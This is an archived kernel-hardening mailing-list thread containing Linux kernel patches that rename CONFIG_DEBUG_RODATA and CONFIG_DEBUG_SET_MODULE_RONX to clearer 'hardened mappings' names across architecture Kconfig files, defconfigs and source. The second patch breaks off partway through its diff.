X-Mailer: git-send-email 2.7.4
In-Reply-To: <1484789346-21012-1-git-send-email-labbott@redhat.com>
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5225 gmane.linux.documentation:44401 gmane.linux.kernel:2391618 gmane.linux.ports.arm.kernel:552031 gmane.linux.ports.parisc:27208 gmane.linux.power-management.general:85531
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5225>


Despite the word 'debug' in CONFIG_DEBUG_RODATA, this kernel option
provides key security features that are to be expected on a modern
system. Change the name to CONFIG_HARDENED_PAGE_MAPPINGS which more
accurately describes what this option is intended to do.

Signed-off-by: Laura Abbott <labbott@redhat.com>
---
 Documentation/DocBook/kgdb.tmpl            |  8 ++++----
 Documentation/security/self-protection.txt |  2 +-
 arch/arm/Kconfig                           |  1 +
 arch/arm/configs/aspeed_g4_defconfig       |  2 +-
 arch/arm/configs/aspeed_g5_defconfig       |  2 +-
 arch/arm/include/asm/cacheflush.h          |  2 +-
 arch/arm/kernel/patch.c                    |  2 +-
 arch/arm/kernel/vmlinux.lds.S              |  8 ++++----
 arch/arm/mm/Kconfig                        | 14 +-------------
 arch/arm/mm/init.c                         |  4 ++--
 arch/arm64/Kconfig                         |  4 +---
 arch/arm64/Kconfig.debug                   |  2 +-
 arch/parisc/Kconfig                        |  1 +
 arch/parisc/Kconfig.debug                  | 11 -----------
 arch/parisc/configs/712_defconfig          |  2 +-
 arch/parisc/configs/c3000_defconfig        |  2 +-
 arch/parisc/mm/init.c                      |  2 +-
 arch/s390/Kconfig                          |  4 +---
 arch/x86/Kconfig                           |  4 +---
 include/linux/init.h                       |  4 ++--
 init/main.c                                |  4 ++--
 kernel/configs/android-recommended.config  |  2 +-
 kernel/power/hibernate.c                   |  2 +-
 kernel/power/power.h                       |  4 ++--
 kernel/power/snapshot.c                    |  4 ++--
 security/Kconfig                           | 16 ++++++++++++++++
 26 files changed, 51 insertions(+), 62 deletions(-)

diff --git a/Documentation/DocBook/kgdb.tmpl b/Documentation/DocBook/kgdb.tmpl
index f3abca7..a79b638 100644
--- a/Documentation/DocBook/kgdb.tmpl
+++ b/Documentation/DocBook/kgdb.tmpl
@@ -115,12 +115,12 @@
     </para>
     <para>
     If the architecture that you are using supports the kernel option
-    CONFIG_DEBUG_RODATA, you should consider turning it off.  This
+    CONFIG_HARDENED_PAGE_MAPPINGS, you should consider turning it off.  This
     option will prevent the use of software breakpoints because it
     marks certain regions of the kernel's memory space as read-only.
     If kgdb supports it for the architecture you are using, you can
     use hardware breakpoints if you desire to run with the
-    CONFIG_DEBUG_RODATA option turned on, else you need to turn off
+    CONFIG_HARDENED_PAGE_MAPPINGS option turned on, else you need to turn off
     this option.
     </para>
     <para>
@@ -135,7 +135,7 @@
     <para>Here is an example set of .config symbols to enable or
     disable for kgdb:
     <itemizedlist>
-    <listitem><para># CONFIG_DEBUG_RODATA is not set</para></listitem>
+    <listitem><para># CONFIG_HARDENED_PAGE_MAPPINGS is not set</para></listitem>
     <listitem><para>CONFIG_FRAME_POINTER=y</para></listitem>
     <listitem><para>CONFIG_KGDB=y</para></listitem>
     <listitem><para>CONFIG_KGDB_SERIAL_CONSOLE=y</para></listitem>
@@ -166,7 +166,7 @@
     </para>
     <para>Here is an example set of .config symbols to enable/disable kdb:
     <itemizedlist>
-    <listitem><para># CONFIG_DEBUG_RODATA is not set</para></listitem>
+    <listitem><para># CONFIG_HARDENED_PAGE_MAPPINGS is not set</para></listitem>
     <listitem><para>CONFIG_FRAME_POINTER=y</para></listitem>
     <listitem><para>CONFIG_KGDB=y</para></listitem>
     <listitem><para>CONFIG_KGDB_SERIAL_CONSOLE=y</para></listitem>
diff --git a/Documentation/security/self-protection.txt b/Documentation/security/self-protection.txt
index 3010576..da8cb36 100644
--- a/Documentation/security/self-protection.txt
+++ b/Documentation/security/self-protection.txt
@@ -51,7 +51,7 @@ kernel, they are implemented in a way where the memory is temporarily
 made writable during the update, and then returned to the original
 permissions.)
 
-In support of this are (the poorly named) CONFIG_DEBUG_RODATA and
+In support of this are CONFIG_HARDENED_PAGE_MAPPINGS and
 CONFIG_DEBUG_SET_MODULE_RONX, which seek to make sure that code is not
 writable, data is not executable, and read-only data is neither writable
 nor executable.
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 186c4c2..09aff28 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -7,6 +7,7 @@ config ARM
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
 	select ARCH_HAVE_CUSTOM_GPIO_H
 	select ARCH_HAS_GCOV_PROFILE_ALL
+	select ARCH_HAS_HARDENED_MAPPINGS if MMU && !XIP_KERNEL
 	select ARCH_MIGHT_HAVE_PC_PARPORT
 	select ARCH_SUPPORTS_ATOMIC_RMW
 	select ARCH_USE_BUILTIN_BSWAP
diff --git a/arch/arm/configs/aspeed_g4_defconfig b/arch/arm/configs/aspeed_g4_defconfig
index ca39c04..8ccc216 100644
--- a/arch/arm/configs/aspeed_g4_defconfig
+++ b/arch/arm/configs/aspeed_g4_defconfig
@@ -25,7 +25,7 @@ CONFIG_MODULE_UNLOAD=y
 # CONFIG_ARCH_MULTI_V7 is not set
 CONFIG_ARCH_ASPEED=y
 CONFIG_MACH_ASPEED_G4=y
-CONFIG_DEBUG_RODATA=y
+CONFIG_HARDENED_PAGE_MAPPINGS=y
 CONFIG_AEABI=y
 CONFIG_UACCESS_WITH_MEMCPY=y
 CONFIG_SECCOMP=y
diff --git a/arch/arm/configs/aspeed_g5_defconfig b/arch/arm/configs/aspeed_g5_defconfig
index 4f366b0..90c5ce4 100644
--- a/arch/arm/configs/aspeed_g5_defconfig
+++ b/arch/arm/configs/aspeed_g5_defconfig
@@ -26,7 +26,7 @@ CONFIG_ARCH_MULTI_V6=y
 # CONFIG_ARCH_MULTI_V7 is not set
 CONFIG_ARCH_ASPEED=y
 CONFIG_MACH_ASPEED_G5=y
-CONFIG_DEBUG_RODATA=y
+CONFIG_HARDENED_PAGE_MAPPINGS=y
 CONFIG_AEABI=y
 CONFIG_UACCESS_WITH_MEMCPY=y
 CONFIG_SECCOMP=y
diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index bdd283b..c3a7a72 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -490,7 +490,7 @@ static inline int set_memory_x(unsigned long addr, int numpages) { return 0; }
 static inline int set_memory_nx(unsigned long addr, int numpages) { return 0; }
 #endif
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 void set_kernel_text_rw(void);
 void set_kernel_text_ro(void);
 #else
diff --git a/arch/arm/kernel/patch.c b/arch/arm/kernel/patch.c
index 69bda1a..9da1bf5 100644
--- a/arch/arm/kernel/patch.c
+++ b/arch/arm/kernel/patch.c
@@ -26,7 +26,7 @@ static void __kprobes *patch_map(void *addr, int fixmap, unsigned long *flags)
 
 	if (module && IS_ENABLED(CONFIG_DEBUG_SET_MODULE_RONX))
 		page = vmalloc_to_page(addr);
-	else if (!module && IS_ENABLED(CONFIG_DEBUG_RODATA))
+	else if (!module && IS_ENABLED(CONFIG_HARDENED_PAGE_MAPPINGS))
 		page = virt_to_page(addr);
 	else
 		return addr;
diff --git a/arch/arm/kernel/vmlinux.lds.S b/arch/arm/kernel/vmlinux.lds.S
index f7f55df..5c6a2e8 100644
--- a/arch/arm/kernel/vmlinux.lds.S
+++ b/arch/arm/kernel/vmlinux.lds.S
@@ -97,7 +97,7 @@ SECTIONS
 		HEAD_TEXT
 	}
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 	. = ALIGN(1<<SECTION_SHIFT);
 #endif
 
@@ -158,7 +158,7 @@ SECTIONS
 
 	NOTES
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 	. = ALIGN(1<<SECTION_SHIFT);
 #else
 	. = ALIGN(PAGE_SIZE);
@@ -230,7 +230,7 @@ SECTIONS
 	PERCPU_SECTION(L1_CACHE_BYTES)
 #endif
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 	. = ALIGN(1<<SECTION_SHIFT);
 #else
 	. = ALIGN(THREAD_SIZE);
@@ -325,7 +325,7 @@ SECTIONS
 	STABS_DEBUG
 }
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 /*
  * Without CONFIG_DEBUG_ALIGN_RODATA, __start_rodata_section_aligned will
  * be the first section-aligned location after __start_rodata. Otherwise,
diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
index f68e8ec..e770dc9 100644
--- a/arch/arm/mm/Kconfig
+++ b/arch/arm/mm/Kconfig
@@ -1051,21 +1051,9 @@ config ARCH_SUPPORTS_BIG_ENDIAN
 	  This option specifies the architecture can support big endian
 	  operation.
 
-config DEBUG_RODATA
-	bool "Make kernel text and rodata read-only"
-	depends on MMU && !XIP_KERNEL
-	default y if CPU_V7
-	help
-	  If this is set, kernel text and rodata memory will be made
-	  read-only, and non-text kernel memory will be made non-executable.
-	  The tradeoff is that each region is padded to section-size (1MiB)
-	  boundaries (because their permissions are different and splitting
-	  the 1M pages into 4K ones causes TLB performance problems), which
-	  can waste memory.
-
 config DEBUG_ALIGN_RODATA
 	bool "Make rodata strictly non-executable"
-	depends on DEBUG_RODATA
+	depends on HARDENED_PAGE_MAPPINGS
 	default y
 	help
 	  If this is set, rodata will be made explicitly non-executable. This
diff --git a/arch/arm/mm/init.c b/arch/arm/mm/init.c
index 370581a..303bee4 100644
--- a/arch/arm/mm/init.c
+++ b/arch/arm/mm/init.c
@@ -572,7 +572,7 @@ void __init mem_init(void)
 	}
 }
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 struct section_perm {
 	const char *name;
 	unsigned long start;
@@ -741,7 +741,7 @@ void set_kernel_text_ro(void)
 
 #else
 static inline void fix_kernmem_perms(void) { }
-#endif /* CONFIG_DEBUG_RODATA */
+#endif /* CONFIG_HARDENED_PAGE_MAPPINGS */
 
 void free_tcmmem(void)
 {
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 1117421..06fed56 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -11,6 +11,7 @@ config ARM64
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_GIGANTIC_PAGE
+	select ARCH_HAS_HARDENED_MAPPINGS
 	select ARCH_HAS_KCOV
 	select ARCH_HAS_SG_CHAIN
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
@@ -123,9 +124,6 @@ config ARCH_PHYS_ADDR_T_64BIT
 config MMU
 	def_bool y
 
-config DEBUG_RODATA
-	def_bool y
-
 config ARM64_PAGE_SHIFT
 	int
 	default 16 if ARM64_64K_PAGES
diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
index d1ebd46..a26d27f 100644
--- a/arch/arm64/Kconfig.debug
+++ b/arch/arm64/Kconfig.debug
@@ -83,7 +83,7 @@ config DEBUG_SET_MODULE_RONX
 	  If in doubt, say Y.
 
 config DEBUG_ALIGN_RODATA
-	depends on DEBUG_RODATA
+	depends on ARCH_HAS_HARDENED_MAPPINGS
 	bool "Align linker sections up to SECTION_SIZE"
 	help
 	  If this option is enabled, sections that may potentially be marked as
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 3a71f38..7c73eaa 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -8,6 +8,7 @@ config PARISC
 	select HAVE_SYSCALL_TRACEPOINTS
 	select ARCH_WANT_FRAME_POINTERS
 	select ARCH_HAS_ELF_RANDOMIZE
+	select ARCH_HAS_HARDENED_MAPPINGS
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 68b7cbd..0d856b9 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -5,15 +5,4 @@ source "lib/Kconfig.debug"
 config TRACE_IRQFLAGS_SUPPORT
 	def_bool y
 
-config DEBUG_RODATA
-       bool "Write protect kernel read-only data structures"
-       depends on DEBUG_KERNEL
-       default y
-       help
-         Mark the kernel read-only data as write-protected in the pagetables,
-         in order to catch accidental (and incorrect) writes to such const
-         data. This option may have a slight performance impact because a
-         portion of the kernel code won't be covered by a TLB anymore.
-         If in doubt, say "N".
-
 endmenu
diff --git a/arch/parisc/configs/712_defconfig b/arch/parisc/configs/712_defconfig
index db8f56b..f1a4732 100644
--- a/arch/parisc/configs/712_defconfig
+++ b/arch/parisc/configs/712_defconfig
@@ -182,7 +182,7 @@ CONFIG_DEBUG_FS=y
 CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
 # CONFIG_RCU_CPU_STALL_DETECTOR is not set
-CONFIG_DEBUG_RODATA=y
+CONFIG_HARDENED_PAGE_MAPPINGS=y
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_HMAC=y
diff --git a/arch/parisc/configs/c3000_defconfig b/arch/parisc/configs/c3000_defconfig
index fb92b89..03e88e2 100644
--- a/arch/parisc/configs/c3000_defconfig
+++ b/arch/parisc/configs/c3000_defconfig
@@ -166,7 +166,7 @@ CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
 # CONFIG_DEBUG_BUGVERBOSE is not set
 # CONFIG_RCU_CPU_STALL_DETECTOR is not set
-CONFIG_DEBUG_RODATA=y
+CONFIG_HARDENED_PAGE_MAPPINGS=y
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_MD5=m
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index e02ada3..f76f8ad 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -545,7 +545,7 @@ void free_initmem(void)
 }
 
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 void mark_rodata_ro(void)
 {
 	/* rodata memory was already mapped with KERNEL_RO access rights by
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index c6722112..8e70ae5 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -62,15 +62,13 @@ config PCI_QUIRKS
 config ARCH_SUPPORTS_UPROBES
 	def_bool y
 
-config DEBUG_RODATA
-	def_bool y
-
 config S390
 	def_bool y
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_GIGANTIC_PAGE
+	select ARCH_HAS_HARDENED_MAPPINGS
 	select ARCH_HAS_KCOV
 	select ARCH_HAS_SG_CHAIN
 	select ARCH_HAS_UBSAN_SANITIZE_ALL
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index e487493..9d80cd8 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -50,6 +50,7 @@ config X86
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_FAST_MULTIPLIER
 	select ARCH_HAS_GCOV_PROFILE_ALL
+	select ARCH_HAS_HARDENED_MAPPINGS
 	select ARCH_HAS_KCOV			if X86_64
 	select ARCH_HAS_MMIO_FLUSH
 	select ARCH_HAS_PMEM_API		if X86_64
@@ -309,9 +310,6 @@ config ARCH_SUPPORTS_UPROBES
 config FIX_EARLYCON_MEM
 	def_bool y
 
-config DEBUG_RODATA
-	def_bool y
-
 config PGTABLE_LEVELS
 	int
 	default 4 if X86_64
diff --git a/include/linux/init.h b/include/linux/init.h
index 885c3e6..9967bc9 100644
--- a/include/linux/init.h
+++ b/include/linux/init.h
@@ -126,10 +126,10 @@ void prepare_namespace(void);
 void __init load_default_modules(void);
 int __init init_rootfs(void);
 
-#if defined(CONFIG_DEBUG_RODATA) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
+#if defined(CONFIG_HARDENED_PAGE_MAPPINGS) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
 extern bool rodata_enabled;
 #endif
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 void mark_rodata_ro(void);
 #endif
 
diff --git a/init/main.c b/init/main.c
index b0c9d6f..4b3bcc4 100644
--- a/init/main.c
+++ b/init/main.c
@@ -925,7 +925,7 @@ static int try_to_run_init_process(const char *init_filename)
 
 static noinline void __init kernel_init_freeable(void);
 
-#if defined(CONFIG_DEBUG_RODATA) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
+#if defined(CONFIG_HARDENED_PAGE_MAPPINGS) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
 bool rodata_enabled __ro_after_init = true;
 static int __init set_debug_rodata(char *str)
 {
@@ -934,7 +934,7 @@ static int __init set_debug_rodata(char *str)
 __setup("rodata=", set_debug_rodata);
 #endif
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 static void mark_readonly(void)
 {
 	if (rodata_enabled)
diff --git a/kernel/configs/android-recommended.config b/kernel/configs/android-recommended.config
index 297756b..b796bc8 100644
--- a/kernel/configs/android-recommended.config
+++ b/kernel/configs/android-recommended.config
@@ -11,7 +11,7 @@ CONFIG_BLK_DEV_LOOP=y
 CONFIG_BLK_DEV_RAM=y
 CONFIG_BLK_DEV_RAM_SIZE=8192
 CONFIG_COMPACTION=y
-CONFIG_DEBUG_RODATA=y
+CONFIG_HARDENED_PAGE_MAPPINGS=y
 CONFIG_DM_CRYPT=y
 CONFIG_DM_UEVENT=y
 CONFIG_DM_VERITY=y
diff --git a/kernel/power/hibernate.c b/kernel/power/hibernate.c
index b26dbc4..f7a3ea3 100644
--- a/kernel/power/hibernate.c
+++ b/kernel/power/hibernate.c
@@ -1156,7 +1156,7 @@ static int __init hibernate_setup(char *str)
 	} else if (!strncmp(str, "no", 2)) {
 		noresume = 1;
 		nohibernate = 1;
-	} else if (IS_ENABLED(CONFIG_DEBUG_RODATA)
+	} else if (IS_ENABLED(CONFIG_HARDENED_PAGE_MAPPINGS)
 		   && !strncmp(str, "protect_image", 13)) {
 		enable_restore_image_protection();
 	}
diff --git a/kernel/power/power.h b/kernel/power/power.h
index 1dfa0da..dc2c7b8 100644
--- a/kernel/power/power.h
+++ b/kernel/power/power.h
@@ -61,12 +61,12 @@ extern int hibernation_snapshot(int platform_mode);
 extern int hibernation_restore(int platform_mode);
 extern int hibernation_platform_enter(void);
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 /* kernel/power/snapshot.c */
 extern void enable_restore_image_protection(void);
 #else
 static inline void enable_restore_image_protection(void) {}
-#endif /* CONFIG_DEBUG_RODATA */
+#endif /* CONFIG_HARDENED_PAGE_MAPPINGS */
 
 #else /* !CONFIG_HIBERNATION */
 
diff --git a/kernel/power/snapshot.c b/kernel/power/snapshot.c
index 2d8e2b2..a7c793e 100644
--- a/kernel/power/snapshot.c
+++ b/kernel/power/snapshot.c
@@ -38,7 +38,7 @@
 
 #include "power.h"
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
 static bool hibernate_restore_protection;
 static bool hibernate_restore_protection_active;
 
@@ -73,7 +73,7 @@ static inline void hibernate_restore_protection_begin(void) {}
 static inline void hibernate_restore_protection_end(void) {}
 static inline void hibernate_restore_protect_page(void *page_address) {}
 static inline void hibernate_restore_unprotect_page(void *page_address) {}
-#endif /* CONFIG_DEBUG_RODATA */
+#endif /* CONFIG_HARDENED_PAGE_MAPPINGS */
 
 static int swsusp_page_is_free(struct page *);
 static void swsusp_set_page_forbidden(struct page *);
diff --git a/security/Kconfig b/security/Kconfig
index 118f454..ad6ce82 100644
--- a/security/Kconfig
+++ b/security/Kconfig
@@ -158,6 +158,22 @@ config HARDENED_USERCOPY_PAGESPAN
 	  been removed. This config is intended to be used only while
 	  trying to find such users.
 
+config ARCH_HAS_HARDENED_MAPPINGS
+	def_bool n
+
+config HARDENED_PAGE_MAPPINGS
+	bool "Mark kernel mappings with stricter permissions (RO/W^X)"
+	default y
+	depends on ARCH_HAS_HARDENED_MAPPINGS
+	help
+          If this is set, kernel text and rodata memory will be made read-only,
+	  and non-text memory will be made non-executable. This provides
+	  protection against certain security attacks (e.g. executing the heap
+	  or modifying text).
+
+	  Unless your system has known restrictions or performance issues, it
+	  is recommended to say Y here.
+
 source security/selinux/Kconfig
 source security/smack/Kconfig
 source security/tomoyo/Kconfig
-- 
2.7.4



From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: [PATCH 2/2] security: Change name of CONFIG_DEBUG_SET_MODULE_RONX
Date: Wed, 18 Jan 2017 17:29:06 -0800
Lines: 337
Approved: news@gmane.org
Message-ID: <1484789346-21012-3-git-send-email-labbott@redhat.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
Reply-To: kernel-hardening@lists.openwall.com
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484789394 6660 195.159.176.226 (19 Jan 2017 01:29:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 01:29:54 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
	Jason Wessel <jason.wessel@windriver.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>,
	x86@kernel.org,
	Rob Herring <robh@kernel.org>,
	"Rafael J. Wysocki" <rjw@rjwysocki.net>,
	Len Brown <len.brown@intel.com>,
	Pavel Machek <pavel@ucw.cz>,
	Mark Rutland <mark.rutland@arm.com>,
	Jessica Yu <jeyu@redhat.com>,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	li
To: Kees Cook <keescook@chromium.org>
Original-X-From: kernel-hardening-return-6073-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Thu Jan 19 02:29:46 2017
Return-path: <kernel-hardening-return-6073-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6073-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cU1Xi-0000Gv-Oq
	for glkh-kernel-hardening@m.gmane.org; Thu, 19 Jan 2017 02:29:34 +0100
Original-Received: (qmail 14221 invoked by uid 550); 19 Jan 2017 01:29:35 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 14107 invoked from network); 19 Jan 2017 01:29:34 -0000
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=P10XlgOgb8ahV1LdoO4QnBPTBZxpo//YwZ8dTc7cocY=;
        b=aVq5ZaSBkepNfawEJDytPZiynkSKvnMls2lDwrytXsWWsFJU37E6t7CyK8po3fdqqs
         FV8E9exiBr7JLuN5w2iDL00ScpPHAqhMiDxkQRNYchT/MQedVZBO4T2K6RDVJdqizOeg
         S/vGf1KW4AofbKNh7USYDqbOzR+SZkITwoJcDK22RSAWxgrB0u8MJTn8K4U95IxMvqQA
         ftDCGTlz0uJYJ4a5UdF5ACO2T8rVFa+vjNwA+cPuT3AAV2tZh644QzSLmMlS6b208432
         HAA4MVUenZWc+y371avIqYfkSa3IXi4hORPurI9Ye+ztxWoe+mEziZbtrQBq+CIfyKeM
         2Phg==
X-Gm-Message-State: AIkVDXLKCWqmT8ItkBOtd2QmSOtfwETWjWpY8Z6BMnomLk+NkZfwHMq9TJP9d6cZOx2syQAc
X-Received: by 10.237.36.24 with SMTP id r24mr5516925qtc.229.1484789362583;
        Wed, 18 Jan 2017 17:29:22 -0800 (PST)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1484789346-21012-1-git-send-email-labbott@redhat.com>
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5226 gmane.linux.documentation:44402 gmane.linux.kernel:2391619 gmane.linux.ports.arm.kernel:552032 gmane.linux.ports.parisc:27209 gmane.linux.power-management.general:85532
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5226>


Despite the word 'debug' in CONFIG_DEBUG_SET_MODULE_RONX, this kernel
option provides key security features that are to be expected on a
modern system. Change the name to CONFIG_HARDENED_MODULE_MAPPINGS which
more accurately describes what this option is intended to do.

Signed-off-by: Laura Abbott <labbott@redhat.com>
---
 Documentation/security/self-protection.txt |  2 +-
 arch/arm/Kconfig                           |  1 +
 arch/arm/Kconfig.debug                     | 11 -----------
 arch/arm/configs/aspeed_g4_defconfig       |  2 +-
 arch/arm/configs/aspeed_g5_defconfig       |  2 +-
 arch/arm/kernel/patch.c                    |  2 +-
 arch/arm64/Kconfig                         |  1 +
 arch/arm64/Kconfig.debug                   | 11 -----------
 arch/arm64/kernel/insn.c                   |  2 +-
 arch/s390/Kconfig                          |  1 +
 arch/s390/Kconfig.debug                    |  3 ---
 arch/x86/Kconfig                           |  1 +
 arch/x86/Kconfig.debug                     | 11 -----------
 include/linux/filter.h                     |  4 ++--
 include/linux/init.h                       |  2 +-
 include/linux/module.h                     |  2 +-
 init/main.c                                |  2 +-
 kernel/module.c                            |  6 +++---
 security/Kconfig                           | 16 ++++++++++++++++
 19 files changed, 33 insertions(+), 49 deletions(-)

diff --git a/Documentation/security/self-protection.txt b/Documentation/security/self-protection.txt
index da8cb36..eb018a1 100644
--- a/Documentation/security/self-protection.txt
+++ b/Documentation/security/self-protection.txt
@@ -52,7 +52,7 @@ made writable during the update, and then returned to the original
 permissions.)
 
 In support of this are CONFIG_HARDENED_PAGE_MAPPINGS and
-CONFIG_DEBUG_SET_MODULE_RONX, which seek to make sure that code is not
+CONFIG_HARDENED_MODULE_MAPPINGS, which seek to make sure that code is not
 writable, data is not executable, and read-only data is neither writable
 nor executable.
 
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 09aff28..ef852e4 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -8,6 +8,7 @@ config ARM
 	select ARCH_HAVE_CUSTOM_GPIO_H
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_HARDENED_MAPPINGS if MMU && !XIP_KERNEL
+	select ARCH_HAS_HARDENED_MODULE_MAPPINGS if MMU
 	select ARCH_MIGHT_HAVE_PC_PARPORT
 	select ARCH_SUPPORTS_ATOMIC_RMW
 	select ARCH_USE_BUILTIN_BSWAP
diff --git a/arch/arm/Kconfig.debug b/arch/arm/Kconfig.debug
index d83f7c3..426d271 100644
--- a/arch/arm/Kconfig.debug
+++ b/arch/arm/Kconfig.debug
@@ -1738,17 +1738,6 @@ config PID_IN_CONTEXTIDR
 	  additional instructions during context switch. Say Y here only if you
 	  are planning to use hardware trace tools with this kernel.
 
-config DEBUG_SET_MODULE_RONX
-	bool "Set loadable kernel module data as NX and text as RO"
-	depends on MODULES && MMU
-	---help---
-	  This option helps catch unintended modifications to loadable
-	  kernel module's text and read-only data. It also prevents execution
-	  of module data. Such protection may interfere with run-time code
-	  patching and dynamic kernel tracing - and they might also protect
-	  against certain classes of kernel exploits.
-	  If in doubt, say "N".
-
 source "drivers/hwtracing/coresight/Kconfig"
 
 endmenu
diff --git a/arch/arm/configs/aspeed_g4_defconfig b/arch/arm/configs/aspeed_g4_defconfig
index 8ccc216..ffe2656 100644
--- a/arch/arm/configs/aspeed_g4_defconfig
+++ b/arch/arm/configs/aspeed_g4_defconfig
@@ -79,7 +79,7 @@ CONFIG_DEBUG_LL_UART_8250=y
 CONFIG_DEBUG_UART_PHYS=0x1e784000
 CONFIG_DEBUG_UART_VIRT=0xe8784000
